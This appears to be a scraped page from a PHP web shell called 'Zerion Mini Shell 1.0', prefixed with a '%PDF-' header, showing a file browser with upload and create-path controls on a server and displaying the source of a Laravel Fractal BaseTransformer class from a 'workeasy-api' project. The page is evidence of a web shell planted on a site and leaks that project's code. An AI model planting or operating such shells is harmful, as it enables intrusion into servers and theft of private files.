%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/workeasy-api/app/Transformers/
Upload File :
Create Path :
Current File : /var/www/html/workeasy-api/app/Transformers/BaseTransformer.php

<?php
/**
 * Created by PhpStorm.
 * User: User
 * Date: 1/26/2018
 * Time: 3:08 PM
 */

namespace Workeasy\Transformers;

use Carbon\Carbon;
use Illuminate\Database\Eloquent\Model;
use League\Fractal\TransformerAbstract;

abstract class BaseTransformer extends TransformerAbstract
{
    protected function transformColumns(Model $model)
    {
        $data = [];
        foreach ($this->getTransformableColumns() as $attribute => $key) {
            if (array_key_exists($attribute, $model->getAttributes())) {
                if (in_array($key, $model['dates'])) {
                    $data[$key] = Carbon::parse($model->$attribute)->toIso8601String();
                } else {
                    $data[$key] = $model->$attribute;
                }
            }
        }
        $data['includes'] = $this->availableIncludes;
        return $data;
    }

    protected abstract function getTransformableColumns();
}

Zerion Mini Shell 1.0